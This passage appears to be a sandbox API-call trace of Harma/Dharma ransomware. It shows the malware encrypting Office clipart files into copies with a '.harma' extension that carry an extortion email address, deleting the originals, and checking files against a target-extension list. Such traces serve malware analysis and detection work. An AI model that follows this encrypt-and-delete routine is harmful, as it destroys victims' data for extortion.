Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.050] GetLastError () returned 0x0 [0158.051] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1388, lpOverlapped=0x0) returned 1 [0158.104] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0158.106] ReadFile (in: hFile=0x348, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.106] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.106] SetEndOfFile (hFile=0x370) returned 1 [0158.106] CloseHandle (hObject=0x370) returned 1 [0158.106] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.106] SetEndOfFile (hFile=0x348) returned 1 [0158.108] CloseHandle (hObject=0x348) returned 1 [0158.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0158.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.190] lstrlenW (lpString=".doc") returned 4 [0158.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.190] lstrlenW (lpString=".docx") returned 5 [0158.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.190] lstrlenW (lpString=".pdf") returned 4 [0158.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.190] lstrlenW (lpString=".xls") returned 4 [0158.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.190] lstrlenW (lpString=".xlsx") returned 5 [0158.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.190] lstrlenW (lpString=".ppt") returned 4 [0158.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.190] lstrlenW (lpString=".zip") returned 4 [0158.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.190] lstrlenW (lpString=".rar") returned 4 [0158.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.190] lstrlenW (lpString=".bz2") returned 4 [0158.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.190] lstrlenW (lpString=".7z") returned 3 [0158.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.190] lstrlenW (lpString=".dbf") returned 4 [0158.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString=".1cd") returned 4 [0158.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString=".jpg") returned 4 [0158.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString=".doc") returned 4 [0158.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString=".docx") returned 5 [0158.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.191] lstrlenW (lpString=".pdf") returned 4 [0158.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString=".xls") returned 4 [0158.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.191] lstrlenW (lpString=".xlsx") returned 5 [0158.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.191] lstrlenW (lpString=".ppt") returned 4 [0158.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString=".zip") returned 4 [0158.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.191] lstrlenW (lpString=".rar") returned 4 [0158.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString=".bz2") returned 4 [0158.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.191] lstrlenW (lpString=".7z") returned 3 [0158.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.191] lstrlenW (lpString=".dbf") returned 4 [0158.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.192] lstrlenW (lpString=".1cd") returned 4 [0158.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0158.192] lstrlenW (lpString=".jpg") returned 4 [0158.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.192] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.192] lstrlenW (lpString="HH01461_.WMF") returned 12 [0158.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0158.192] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5958) returned 1 [0158.192] CloseHandle (hObject=0x330) returned 1 [0158.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0158.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0158.193] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.193] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0158.194] GetLastError () returned 0x0 [0158.194] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1746, lpOverlapped=0x0) returned 1 [0158.229] WriteFile (in: hFile=0x208, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1750, lpOverlapped=0x0) returned 1 [0158.230] ReadFile (in: hFile=0x330, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.231] WriteFile (in: hFile=0x208, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.231] SetEndOfFile (hFile=0x208) returned 1 [0158.231] CloseHandle (hObject=0x208) returned 1 [0158.231] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.231] SetEndOfFile (hFile=0x330) returned 1 [0158.234] CloseHandle (hObject=0x330) returned 1 [0158.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.236] lstrlenW (lpString=".doc") returned 4 [0158.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.236] lstrlenW (lpString=".docx") returned 5 [0158.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.236] lstrlenW (lpString=".pdf") returned 4 [0158.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.236] lstrlenW (lpString=".xls") returned 4 [0158.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.236] lstrlenW (lpString=".xlsx") returned 5 [0158.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.236] lstrlenW (lpString=".ppt") returned 4 [0158.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.236] lstrlenW (lpString=".zip") returned 4 [0158.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.236] lstrlenW (lpString=".rar") returned 4 [0158.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.236] lstrlenW (lpString=".bz2") returned 4 [0158.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.236] lstrlenW (lpString=".7z") returned 3 [0158.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.236] lstrlenW (lpString=".dbf") returned 4 [0158.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString=".1cd") returned 4 [0158.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString=".jpg") returned 4 [0158.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString=".doc") returned 4 [0158.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString=".docx") returned 5 [0158.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.237] lstrlenW (lpString=".pdf") returned 4 [0158.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString=".xls") returned 4 [0158.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.237] lstrlenW (lpString=".xlsx") returned 5 [0158.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.237] lstrlenW (lpString=".ppt") returned 4 [0158.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString=".zip") returned 4 [0158.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.237] lstrlenW (lpString=".rar") returned 4 [0158.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString=".bz2") returned 4 [0158.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.237] lstrlenW (lpString=".7z") returned 3 [0158.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.237] lstrlenW (lpString=".dbf") returned 4 [0158.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.238] lstrlenW (lpString=".1cd") returned 4 [0158.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0158.238] lstrlenW (lpString=".jpg") returned 4 [0158.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.238] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.238] lstrlenW (lpString="HH01875_.WMF") returned 12 [0158.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.694] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2616) returned 1 [0158.694] CloseHandle (hObject=0x20c) returned 1 [0158.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0158.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.757] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.757] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.758] GetLastError () returned 0x0 [0158.758] ReadFile (in: hFile=0x388, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xa38, lpOverlapped=0x0) returned 1 [0158.810] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa40, lpOverlapped=0x0) returned 1 [0158.811] ReadFile (in: hFile=0x388, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.811] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.811] SetEndOfFile (hFile=0x338) returned 1 [0158.811] CloseHandle (hObject=0x338) returned 1 [0158.811] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.812] SetEndOfFile (hFile=0x388) returned 1 [0158.813] CloseHandle (hObject=0x388) returned 1 [0158.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0158.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString=".doc") returned 4 [0158.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString=".docx") returned 5 [0158.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.815] lstrlenW (lpString=".pdf") returned 4 [0158.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString=".xls") returned 4 [0158.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.815] lstrlenW (lpString=".xlsx") returned 5 [0158.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.815] lstrlenW (lpString=".ppt") returned 4 [0158.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString=".zip") returned 4 [0158.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.815] lstrlenW (lpString=".rar") returned 4 [0158.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString=".bz2") returned 4 [0158.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString=".7z") returned 3 [0158.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString=".dbf") returned 4 [0158.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString=".1cd") returned 4 [0158.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.815] lstrlenW (lpString=".jpg") returned 4 [0158.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.816] lstrlenW (lpString=".doc") returned 4 [0158.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString=".docx") returned 5 [0158.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.816] lstrlenW (lpString=".pdf") returned 4 [0158.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString=".xls") returned 4 [0158.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.816] lstrlenW (lpString=".xlsx") returned 5 [0158.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.816] lstrlenW (lpString=".ppt") returned 4 [0158.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.816] lstrlenW (lpString=".zip") returned 4 [0158.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.816] lstrlenW (lpString=".rar") returned 4 [0158.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString=".bz2") returned 4 [0158.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString=".7z") returned 3 [0158.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.816] lstrlenW (lpString=".dbf") returned 4 [0158.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.816] lstrlenW (lpString=".1cd") returned 4 [0158.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0158.817] lstrlenW (lpString=".jpg") returned 4 [0158.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.817] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.817] lstrlenW (lpString="HH02282_.WMF") returned 12 [0158.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.817] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7932) returned 1 [0158.817] CloseHandle (hObject=0x388) returned 1 [0158.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0158.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.818] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.818] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.819] GetLastError () returned 0x0 [0158.819] ReadFile (in: hFile=0x388, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0158.902] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1f00, 